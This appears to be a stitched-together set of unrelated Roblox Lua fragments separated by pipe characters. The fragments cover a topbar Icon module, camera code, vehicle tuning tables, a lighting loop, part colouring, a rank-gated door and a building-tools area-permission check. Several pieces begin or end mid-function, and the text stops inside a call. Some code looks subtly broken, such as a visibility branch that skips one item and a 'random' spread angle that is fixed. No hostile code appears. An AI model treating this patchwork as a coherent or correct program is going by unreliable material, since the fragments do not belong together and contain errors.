end
for key, _ in pairs(settingDetail.additionalValues) do
if string.match(key, stringMatch) then
settingDetail.additionalValues[key] = value
end
end
end
function Icon:get(settingName, iconState, getAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local valueToReturn, additionalValueToReturn
if typeof(iconState) == "string" then
iconState = iconState:lower()
end
--if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then
if (iconState == "hovering") and getAdditional == nil then
valueToReturn = settingDetail.hoveringValue
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState]
end
local settingType = settingDetail.type
if settingType == "toggleable" then
local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState()
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState]
end
if valueToReturn == nil then
valueToReturn = settingDetail.values[toggleState]
end
else
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional]
end
if valueToReturn == nil then
valueToReturn = settingDetail.value
end
end
return valueToReturn, additionalValueToReturn
end
function Icon:getHovering(settingName)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
return settingDetail.hoveringValue
end
function Icon:getToggleState(isSelected)
isSelected = isSelected or self.isSelected
return (isSelected and "selected") or "deselected"
end
function Icon:getIconState()
if self.hovering then
return "hovering"
else
return self:getToggleState()
end
end
function Icon:_update(settingName, toggleState, customTweenInfo)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
toggleState = toggleState or self:getToggleState()
local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState])
if self.hovering and settingDetail.hoveringValue then
value = settingDetail.hoveringValue
end
if value == nil then return end
local tweenInfo = customTweenInfo or (settingDetail.tweenAction and settingDetail.tweenAction ~= "" and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15)
local propertyName = settingDetail.propertyName
local invalidPropertiesTypes = {
["string"] = true,
["NumberSequence"] = true,
["Text"] = true,
["EnumItem"] = true,
["ColorSequence"] = true,
}
local uniqueSetting = self._uniqueSettingsDictionary[settingName]
local newValue = value
if settingDetail.useForcedGroupValue then
newValue = settingDetail.forcedGroupValue
end
if settingDetail.instanceNames then
for _, instanceName in pairs(settingDetail.instanceNames) do
local instance = self.instances[instanceName]
local propertyType = typeof(instance[propertyName])
local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table"
if uniqueSetting then
uniqueSetting(settingName, instance, propertyName, newValue)
elseif cannotTweenProperty then
instance[propertyName] = value
else
tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play()
end
--
if settingName == "iconSize" and instance[propertyName] ~= newValue then
self.updated:Fire()
end
--
end
end
end
function Icon:_updateAll(iconState, customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames then
self:_update(settingName, iconState, customTweenInfo)
end
end
-- It's important we adapt the size of anything that could be changed through Localization
-- In this case, the icon label, caption and tip
self:_updateIconSize()
self:_updateCaptionSize()
self:_updateTipSize()
end
function Icon:_updateHovering(customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then
self:_update(settingName, nil, customTweenInfo)
end
end
end
function Icon:_updateStateOverlay(transparency, color)
local stateOverlay = self.instances.iconOverlay
stateOverlay.BackgroundTransparency = transparency or 1
stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1)
end
function Icon:setTheme(theme, updateAfterSettingAll)
self._updateAfterSettingAll = updateAfterSettingAll
for settingsType, settingsDetails in pairs(theme) do
if settingsType == "toggleable" then
for settingName, settingValue in pairs(settingsDetails.deselected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "both")
end
end
for settingName, settingValue in pairs(settingsDetails.selected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "selected")
end
end
else
for settingName, settingValue in pairs(settingsDetails) do
if not self.lockedSettings[settingName] then
local settingDetail = self._settingsDictionary[settingName]
if settingsType == "action" and settingDetail == nil then
settingDetail = {}
self._settingsDictionary[settingName] = {}
end
self:set(settingName, settingValue)
end
end
end
end
self._updateAfterSettingAll = nil
if updateAfterSettingAll then
self:_updateAll()
end
return self
end
function Icon:getInstance(instanceName)
return self.instances[instanceName]
end
function Icon:setInstance(instanceName, instance)
local originalInstance = self.instances[instanceName]
self.instances[instanceName] = instance
if originalInstance then
originalInstance:Destroy()
end
return self
end
function Icon:getSettingDetail(targetSettingName)
for _, settingsDetails in pairs(self._settings) do
for settingName, settingDetail in pairs(settingsDetails) do
if settingName == targetSettingName then
return settingDetail
end
end
end
return false
end
function Icon:modifySetting(settingName, dictionary)
local settingDetail = self:getSettingDetail(settingName)
for key, value in pairs(dictionary) do
settingDetail[key] = value
end
return self
end
function Icon:convertLabelToNumberSpinner(numberSpinner)
-- This updates the number spinners appearance
self:set("iconLabelSize", UDim2.new(1,0,1,0))
numberSpinner.Parent = self:getInstance("iconButton")
-- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed
local textLabel = {}
setmetatable(textLabel, {__newindex = function(_, index, value)
for _, label in pairs(numberSpinner.Frame:GetDescendants()) do
if label:IsA("TextLabel") then
label[index] = value
end
end
end})
-- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel)
local iconButton = self:getInstance("iconButton")
iconButton.ZIndex = 0
self:setInstance("iconLabel", textLabel)
self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above
self:setInstance("iconLabelSpinner", numberSpinner.Frame)
local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"}
for _, settingName in pairs(settingsToConvert) do
self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}})
end
-- This applies all the values we just updated
self:_updateAll()
return self
end
function Icon:setEnabled(bool)
self.enabled = bool
self.instances.iconContainer.Visible = bool
self.updated:Fire()
return self
end
function Icon:setName(string)
self.name = string
self.instances.iconContainer.Name = string
return self
end
function Icon:setProperty(propertyName, value)
self[propertyName] = value
return self
end
function Icon:_playClickSound()
local clickSound = self.instances.clickSound
if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then
local clickSoundCopy = clickSound:Clone()
clickSoundCopy.Parent = clickSound.Parent
clickSoundCopy:Play()
debris:AddItem(clickSoundCopy, clickSound.TimeLength)
end
end
function Icon:select(byIcon)
--if self.locked then return self end
self.isSelected = true
self:_setToggleItemsVisible(true, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
if userInputService.GamepadEnabled then
-- If a corresponding guiObject is found (set via :setToggleItem()) then this automatically
-- moves the controller selection to a selectable and active instance within that guiObject.
-- It also support back (Controller B) being pressed by navigating to previous pages or
-- closing the icon and focusing selection back on the controller navigation topbar.
for toggleItem, buttonInstancesArray in pairs(self.toggleItems) do
if #buttonInstancesArray > 0 then
local focusMaid = Maid.new()
guiService:AddSelectionTuple(self.UID, unpack(buttonInstancesArray))
guiService.SelectedObject = buttonInstancesArray[1]
IconController.activeButtonBCallbacks += 1
focusMaid:give(userInputService.InputEnded:Connect(function(input, processed)
local blockBackBehaviour = false
for _, func in pairs(self.blockBackBehaviourChecks) do
if func() == true then
blockBackBehaviour = true
break
end
end
if input.KeyCode == Enum.KeyCode.ButtonB and not blockBackBehaviour then
guiService.SelectedObject = self.instances.iconButton
self:deselect()
end
end))
focusMaid:give(self.deselected:Connect(function()
focusMaid:clean()
end))
focusMaid:give(function()
IconController.activeButtonBCallbacks -= 1
if IconController.activeButtonBCallbacks < 0 then
IconController.activeButtonBCallbacks = 0
end
end)
end
end
end
self.selected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:deselect(byIcon)
--if self.locked then return self end
self.isSelected = false
self:_setToggleItemsVisible(false, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.deselected:Fire()
self.toggled:Fire(self.isSelected)
if userInputService.GamepadEnabled then
guiService:RemoveSelectionGroup(self.UID)
end
return self
end
function Icon:notify(clearNoticeEvent, noticeId)
coroutine.wrap(function()
if not clearNoticeEvent then
clearNoticeEvent = self.deselected
end
if self._parentIcon then
self._parentIcon:notify(clearNoticeEvent)
end
local notifComplete = Signal.new()
local endEvent = self._endNotices:Connect(function()
notifComplete:Fire()
end)
local customEvent = clearNoticeEvent:Connect(function()
notifComplete:Fire()
end)
noticeId = noticeId or httpService:GenerateGUID(true)
self.notices[noticeId] = {
completeSignal = notifComplete,
clearNoticeEvent = clearNoticeEvent,
}
self.totalNotices += 1
self:_updateNotice()
self.notified:Fire(noticeId)
notifComplete:Wait()
endEvent:Disconnect()
customEvent:Disconnect()
notifComplete:Disconnect()
self.totalNotices -= 1
self.notices[noticeId] = nil
self:_updateNotice()
end)()
return self
end
function Icon:_updateNotice()
local enabled = true
if self.totalNotices < 1 then
enabled = false
end
-- Deselect
if not self.isSelected then
if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then
enabled = true
end
end
-- Select
if self.isSelected then
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
enabled = false
end
end
local value = (enabled and 0) or 1
self:set("noticeImageTransparency", value)
self:set("noticeTextTransparency", value)
self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+"
end
function Icon:clearNotices()
self._endNotices:Fire()
return self
end
function Icon:disableStateOverlay(bool)
if bool == nil then
bool = true
end
local stateOverlay = self.instances.iconOverlay
stateOverlay.Visible = not bool
return self
end
|
--[[ Services ]]
|
--
local PlayersService = game:GetService("Players")
local VRService = game:GetService("VRService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")
|
--[[ The Module ]]
|
--
local BaseCamera = require(script.Parent:WaitForChild("BaseCamera"))
local LegacyCamera = setmetatable({}, BaseCamera)
LegacyCamera.__index = LegacyCamera
function LegacyCamera.new()
local self = setmetatable(BaseCamera.new(), LegacyCamera)
self.cameraType = Enum.CameraType.Fixed
self.lastUpdate = tick()
self.lastDistanceToSubject = nil
return self
end
function LegacyCamera:GetModuleName()
return "LegacyCamera"
end
|
-- IGNORE THIS UNLESS YOU KNOW WHAT YOU ARE DOING.
-- YEAH, I KNOW THIS IS MESSY. MY APOLOGIES.
|
if CONTENTAMOUNT == 10 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = true
CONTENT.Content5.Visible = true
CONTENT.Content6.Visible = true
CONTENT.Content7.Visible = true
CONTENT.Content8.Visible = true
CONTENT.Content9.Visible = true
CONTENT.Content10.Visible = true
else
end
if CONTENTAMOUNT == 9 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = true
CONTENT.Content5.Visible = true
CONTENT.Content6.Visible = true
CONTENT.Content7.Visible = true
CONTENT.Content8.Visible = true
CONTENT.Content9.Visible = true
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 8 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = true
CONTENT.Content5.Visible = true
CONTENT.Content6.Visible = true
CONTENT.Content7.Visible = true
CONTENT.Content8.Visible = true
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 7 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = true
CONTENT.Content5.Visible = true
CONTENT.Content6.Visible = true
CONTENT.Content7.Visible = true
CONTENT.Content8.Visible = false
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 6 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = true
CONTENT.Content5.Visible = true
CONTENT.Content6.Visible = true
CONTENT.Content7.Visible = false
CONTENT.Content8.Visible = false
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 5 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = true
CONTENT.Content5.Visible = true
CONTENT.Content6.Visible = false
CONTENT.Content7.Visible = false
CONTENT.Content8.Visible = false
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 4 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = true
CONTENT.Content5.Visible = false
CONTENT.Content6.Visible = false
CONTENT.Content7.Visible = false
CONTENT.Content8.Visible = false
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 3 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = true
CONTENT.Content4.Visible = false
CONTENT.Content5.Visible = false
CONTENT.Content6.Visible = false
CONTENT.Content7.Visible = false
CONTENT.Content8.Visible = false
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 2 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = true
CONTENT.Content3.Visible = false
CONTENT.Content4.Visible = false
CONTENT.Content5.Visible = false
CONTENT.Content6.Visible = false
CONTENT.Content7.Visible = false
CONTENT.Content8.Visible = false
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
if CONTENTAMOUNT == 1 then
CONTENT.Content1.Visible = true
CONTENT.Content2.Visible = false
CONTENT.Content4.Visible = false
CONTENT.Content5.Visible = false
CONTENT.Content6.Visible = false
CONTENT.Content7.Visible = false
CONTENT.Content8.Visible = false
CONTENT.Content9.Visible = false
CONTENT.Content10.Visible = false
else
end
|
--Steer Gyro Tuning
|
Tune.SteerD = 1200 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 7000 -- Steering Aggressiveness
|
-- Freeze the constant, as it is exposed to the user.
|
table.freeze(ALL_PLAYERS)
return function(): Types.PlayerContainer
-- Just send a reference. No point making a new table.
return ALL_PLAYERS
end
|
--you can trust this script
|
l = game:service("Lighting")
while true do
wait(1)
l:SetMinutesAfterMidnight(l:GetMinutesAfterMidnight() +1)
end
|
-- Decompiled with Visenya | https://targaryentech.com
|
local Tune = {}
Tune.LoadDelay = 0.1
Tune.AutoStart = true
Tune.AutoFlip = true
Tune.FCamber = -1
Tune.RCamber = -1
Tune.FToe = 0
Tune.RToe = 0
Tune.Weight = 3000
Tune.WeightBSize = {
6,
3.5,
14
}
Tune.WeightDist = 50
Tune.CGHeight = 0.8
Tune.WBVisible = false
Tune.FWheelDensity = 0.1
Tune.RWheelDensity = 0.1
Tune.FWLgcyDensity = 1
Tune.RWLgcyDensity = 1
Tune.AxleSize = 2
Tune.AxleDensity = 0.1
Tune.SusEnabled = true
Tune.FSusDamping = 500
Tune.FSusStiffness = 9000
Tune.FSusLength = 2
Tune.FSusMaxExt = 0.3
Tune.FSusMaxComp = 0.1
Tune.FSusAngle = 80
Tune.FWsBoneLen = 5
Tune.FWsBoneAngle = 0
Tune.FAnchorOffset = {
-0.4,
-0.5,
0
}
Tune.RSusDamping = 500
Tune.RSusStiffness = 9000
Tune.RSusLength = 2
Tune.RSusMaxExt = 0.3
Tune.RSusMaxComp = 0.1
Tune.RSusAngle = 80
Tune.RWsBoneLen = 5
Tune.RWsBoneAngle = 0
Tune.RAnchorOffset = {
-0.4,
-0.5,
0
}
Tune.SusVisible = true
Tune.WsBVisible = false
Tune.SusRadius = 0.2
Tune.SusThickness = 0.1
Tune.SusColor = "Bright red"
Tune.SusCoilCount = 6
Tune.WsColor = "Black"
Tune.WsThickness = 0.1
Tune.FGyroDamp = 100
Tune.RGyroDamp = 100
Tune.SteerInner = 36
Tune.SteerOuter = 37
Tune.SteerSpeed = 0.05
Tune.ReturnSpeed = 0.1
Tune.SteerDecay = 320
Tune.MinSteer = 10
Tune.MSteerExp = 1
Tune.SteerD = 1000
Tune.SteerMaxTorque = 50000
Tune.SteerP = 100000
Tune.Horsepower = 180
Tune.IdleRPM = 700
Tune.PeakRPM = 6000
Tune.Redline = 6700
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
Tune.InclineComp = 1.7
Tune.RevAccel = 150
Tune.RevDecay = 75
Tune.RevBounce = 500
Tune.IdleThrottle = 3
Tune.ClutchTol = 500
Tune.Config = "AWD"
Tune.FDiffSlipThres = 50
Tune.FDiffLockThres = 50
Tune.RDiffSlipThres = 50
Tune.RDiffLockThres = 50
Tune.CDiffSlipThres = 50
Tune.CDiffLockThres = 50
Tune.TCSEnabled = true
Tune.TCSThreshold = 20
Tune.TCSGradient = 20
Tune.TCSLimit = 10
Tune.TransModes = {
"Auto",
"Semi",
"Manual"
}
Tune.AutoShiftMode = "Speed"
Tune.AutoUpThresh = -200
Tune.AutoDownThresh = 1400
Tune.FinalDrive = 4.06
Tune.Ratios = {
3.7,
0,
3.53,
2.04,
1.38,
1.03,
0.81,
0.64
}
Tune.FDMult = 1.5
Tune.ABSEnabled = true
Tune.ABSThreshold = 20
Tune.FBrakeForce = 1500
Tune.RBrakeForce = 1000
Tune.PBrakeForce = 5000
Tune.FLgcyBForce = 15000
Tune.RLgcyBForce = 10000
Tune.LgcyPBForce = 25000
Tune.Peripherals = {
MSteerWidth = 67,
MSteerDZone = 10,
ControlLDZone = 5,
ControlRDZone = 5
}
Tune.Controls = {
ToggleTCS = Enum.KeyCode.T,
ToggleABS = Enum.KeyCode.Y,
ToggleTransMode = Enum.KeyCode.M,
ToggleMouseDrive = Enum.KeyCode.R,
Throttle = Enum.KeyCode.Up,
Brake = Enum.KeyCode.Down,
SteerLeft = Enum.KeyCode.Left,
SteerRight = Enum.KeyCode.Right,
Throttle2 = Enum.KeyCode.W,
Brake2 = Enum.KeyCode.S,
SteerLeft2 = Enum.KeyCode.A,
SteerRight2 = Enum.KeyCode.D,
ShiftUp = Enum.KeyCode.E,
ShiftDown = Enum.KeyCode.Q,
Clutch = Enum.KeyCode.LeftShift,
PBrake = Enum.KeyCode.P,
MouseThrottle = Enum.UserInputType.MouseButton1,
MouseBrake = Enum.UserInputType.MouseButton2,
MouseClutch = Enum.KeyCode.W,
MouseShiftUp = Enum.KeyCode.E,
MouseShiftDown = Enum.KeyCode.Q,
MousePBrake = Enum.KeyCode.LeftShift,
ContlrThrottle = Enum.KeyCode.ButtonR2,
ContlrBrake = Enum.KeyCode.ButtonL2,
ContlrSteer = Enum.KeyCode.Thumbstick1,
ContlrShiftUp = Enum.KeyCode.ButtonY,
ContlrShiftDown = Enum.KeyCode.ButtonX,
ContlrClutch = Enum.KeyCode.ButtonR1,
ContlrPBrake = Enum.KeyCode.ButtonL1,
ContlrToggleTMode = Enum.KeyCode.DPadUp,
ContlrToggleTCS = Enum.KeyCode.DPadDown,
ContlrToggleABS = Enum.KeyCode.DPadRight
}
Tune.WeightScaling = 0.02
Tune.LegacyScaling = 0.1
return Tune
|
-- ScreenGui containing the game
|
local InteractionGui = script.Parent
|
--------SIDE SQUARES--------
|
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(1023)
|
--
|
script.Parent.Parent.Botao2.ProximityPrompt.Triggered:Connect(function(plr)
--
if plr.PlayerInfo.Patente.Value >= 3 then
--
if aberto == false then
create1:Play()
som:Play()
tela.BrickColor = BrickColor.new("Lime green")
script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Lime green")
wait(3)
aberto = true
else
create2:Play()
som:Play()
tela.BrickColor = BrickColor.new("Really red")
script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Really red")
wait(3)
aberto = false
end
--
else
local Clone = script.NotificationScript:Clone()
Clone.Disabled = false
Clone.Parent = plr.PlayerGui
end
end)
|
-- Local private variables and constants
|
local ZERO_VECTOR2 = Vector2.new(0,0)
local tweenAcceleration = math.rad(220) --Radians/Second^2
local tweenSpeed = math.rad(0) --Radians/Second
local tweenMaxSpeed = math.rad(250) --Radians/Second
local TIME_BEFORE_AUTO_ROTATE = 2.0 --Seconds, used when auto-aligning camera with vehicles
local INITIAL_CAMERA_ANGLE = CFrame.fromOrientation(math.rad(-15), 0, 0)
local FFlagUserCameraToggle do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserCameraToggle")
end)
FFlagUserCameraToggle = success and result
end
|
-- Returns a vector that points to the circumference of the spread with not randomization involved
-- @param CFrame cameraCFrame
-- @return Vector3
|
function SpreadSimulator:GetSpreadDirectionCircumferenceVector(cameraCFrame)
-- Make cframe based on random angle
local randomAngleCFrame = CFrame.Angles(0,0,1)
-- Rotate camera cframe
local rotatedCFrame = cameraCFrame * randomAngleCFrame
-- Make spread vector based on current spread and the random point on circumference
local spreadDirection = rotatedCFrame.UpVector * self.currentSpread
return spreadDirection
end
|
-- Track the enabling of areas
|
Security.Areas = Workspace:FindFirstChild('[Private Building Areas]');
Workspace.ChildAdded:Connect(function (Child)
if not Security.Areas and Child.Name == '[Private Building Areas]' then
Security.Areas = Child;
end;
end);
Workspace.ChildRemoved:Connect(function (Child)
if Security.Areas and Child.Name == '[Private Building Areas]' then
Security.Areas = nil;
end;
end);
function Security.IsAreaAuthorizedForPlayer(Area, Player)
-- Returns whether `Player` has permission to manipulate parts in this area
-- Ensure area has permissions
local Permissions = Area:FindFirstChild '[Permissions]';
if not Permissions then
return;
else
Permissions = require(Permissions);
end;
-- Ensure permissions are set up
if not Permissions then
return;
end;
-- Search for authorizing permission
for _, Permission in pairs(Permissions) do
-- Check group permissions
if Permission.Type == 'Group' then
-- Check player's group membership
local PlayerInGroup = Player:IsInGroup(Permission.GroupId);
-- If no specific rank is required, authorize
if PlayerInGroup and not Permission.Ranks then
return true;
-- If specific rank is required, check player rank
elseif PlayerInGroup and Permission.Ranks then
local Symbol, RankNumber = tostring(Permission.Ranks):match('([<>]?=?)([0-9]+)');
local PlayerRank = Player:GetRankInGroup(Permission.GroupId);
RankNumber = tonumber(RankNumber);
-- Check the player rank
if not Symbol and (PlayerRank == RankNumber) then
return true;
elseif Symbol == '=' and (PlayerRank == RankNumber) then
return true;
elseif Symbol == '>' and (PlayerRank > RankNumber) then
return true;
elseif Symbol == '<' and (PlayerRank < RankNumber) then
return true;
elseif Symbol == '>=' and (PlayerRank >= RankNumber) then
return true;
elseif Symbol == '<=' and (PlayerRank <= RankNumber) then
return true;
end;
end;
-- Check player permissions
elseif Permission.Type == 'Player' then
if (Player.userId == Permission.PlayerId) or (Player.Name == Permission.PlayerName) then
return true;
end;
-- Check owner permissions
elseif Permission.Type == 'Owner' then
if (Player.userId == Permission.PlayerId) or (Player.Name == Permission.PlayerName) then
return true;
end;
-- Check auto-permissions
elseif Permission.Type == 'Anybody' then
return true;
-- Check friend permissions
elseif Permission.Type == 'Friends' then
if Player:IsFriendsWith(Permission.PlayerId) then
return true;
end;
-- Check asset permissions
elseif Permission.Type == 'Asset' then
if MarketplaceService:PlayerOwnsAsset(Player, Permission.AssetId) then
return true;
end;
-- Check team permissions
elseif Permission.Type == 'Team' then
if Permission.Team and Player.Team == Permission.Team then
return true;
elseif Permission.TeamColor and Player.Team and Player.Team.TeamColor == Permission.TeamColor then
return true;
elseif Permission.TeamName and Player.Team and Player.Team.Name == Permission.TeamName then
return true;
end;
-- Check BC permissions
elseif Permission.Type == 'NoBC' then
if Player.MembershipType == Enum.MembershipType.None then
return true;
end;
elseif Permission.Type == 'AnyBC' then
if Player.MembershipType ~= Enum.MembershipType.None then
return true;
end;
elseif Permission.Type == 'BC' then
if Player.MembershipType == Enum.MembershipType.BuildersClub then
return true;
end;
elseif Permission.Type == 'TBC' then
if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
return true;
end;
elseif Permission.Type == 'OBC' then
if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
return true;
end;
-- Check custom permissions
elseif Permission.Type == 'Callback' then
return Permission.Callback(Player);
end;
end;
-- If the player passes none of these conditions, deny access
return false;
end;
function Security.IsItemAllowed(Item, Player)
-- Returns whether instance `Item` can be accessed
-- Ensure `Item` is a part or a model
local IsItemClassAllowed = (Item:IsA 'BasePart' and not Item:IsA 'Terrain') or
(Item:IsA 'Model' and not Item:IsA 'Workspace') or
Item:IsA 'Folder' or
Item:IsA 'Smoke' or
Item:IsA 'Fire' or
Item:IsA 'Sparkles' or
Item:IsA 'DataModelMesh' or
Item:IsA 'Decal' or
Item:IsA 'Texture' or
Item:IsA 'Light'
if not IsItemClassAllowed then
return false
end
-- Check if `Item` descendants from any allowed location
for _, AllowedLocation in pairs(Security.AllowedLocations) do
if Item:IsDescendantOf(AllowedLocation) then
return true
end
end
-- Deny if `Item` is not a descendant of any allowed location
return false
end
function Security.IsLocationAllowed(Location, Player)
-- Returns whether location `Location` can be accessed
-- Check if within allowed locations
for _, AllowedLocation in pairs(Security.AllowedLocations) do
if (AllowedLocation == Location) or Location:IsDescendantOf(AllowedLocation) then
return true
end
end
-- Deny if not within allowed locations
return false
end
function Security.AreAreasEnabled()
-- Returns whether areas are enabled
-- Base whether areas are enabled depending on area container presence and tool mode
if Security.Areas and (ToolMode == 'Tool') then
return true;
else
return false;
end;
end;
function Security.ArePartsViolatingAreas(Parts, Player, ExemptPartial, AreaPermissions)
-- Returns whether the given parts are inside any unauthorized areas
-- Make sure area security is being enforced
if not Security.AreAreasEnabled() then
return false;
end;
-- If no parts, no violations exist
if not next(Parts) then
return false
end
-- Make sure there is a permissions cache
AreaPermissions = AreaPermissions or {};
-- Check which areas the parts are in
local Areas, RegionMap = Security.GetSelectionAreas(Parts, true);
-- Check authorization for each relevant area
for _, Area in pairs(Areas) do
-- Determine authorization if not in given permissions cache
if AreaPermissions[Area] == nil then
AreaPermissions[Area] = Security.IsAreaAuthorizedForPlayer(Area, Player);
end;
-- If unauthorized and partial violations aren't exempt, declare violation
if not ExemptPartial and AreaPermissions[Area] == false then
return true;
end;
-- If authorized and partial violations are allowed, check if all parts match area
if ExemptPartial and AreaPermissions[Area] then
-- Get parts matched to this area
for Region, RegionParts in pairs(RegionMap) do
if Region.Area == Area then
-- If all parts are on this authorized area, call off any violation
if Support.CountKeys(Parts) == #RegionParts then
return false
end
end
end
end;
end;
-- If not in a private area, determine violation based on public building policy
if #Areas == 0 then
return not Security.AllowPublicBuilding;
-- If authorization for a partial violation-exempt check on an area failed, indicate a violation
elseif ExemptPartial then
return true;
-- If in authorized areas, determine violation based on public building policy compliance
elseif RegionMap and not Security.AllowPublicBuilding then
-- Check area residence of each part's corner
local PartCornerCompliance = {};
for AreaRegion, Parts in pairs(RegionMap) do
for _, Part in pairs(Parts) do
PartCornerCompliance[Part] = PartCornerCompliance[Part] or 0;
-- Track the number of corners that `Part` has in this region
for _, Corner in pairs(Support.GetPartCorners(Part)) do
if AreaRegion:CastPoint(Corner.p) then
PartCornerCompliance[Part] = PartCornerCompliance[Part] + 1;
end;
end;
end;
end;
-- Ensure all corners of the part are contained within areas
for _, CornersContained in pairs(PartCornerCompliance) do
if CornersContained ~= 8 then
return true;
end;
end;
end;
-- If no violations occur, indicate no violations
return false;
end;
function Security.GetSelectionAreas(Selection, ReturnMap)
-- Returns a list of areas that the selection of parts is in
-- Make sure areas are enabled
if not Security.AreAreasEnabled() then
return {};
end;
-- Start a map if requested
local Map = ReturnMap and {} or nil;
-- Check each area to find out if any of the parts are within
local Areas = {};
for _, Area in pairs(Security.Areas:GetChildren()) do
-- Get all parts from the selection within this area
local Region = RegionModule.new(
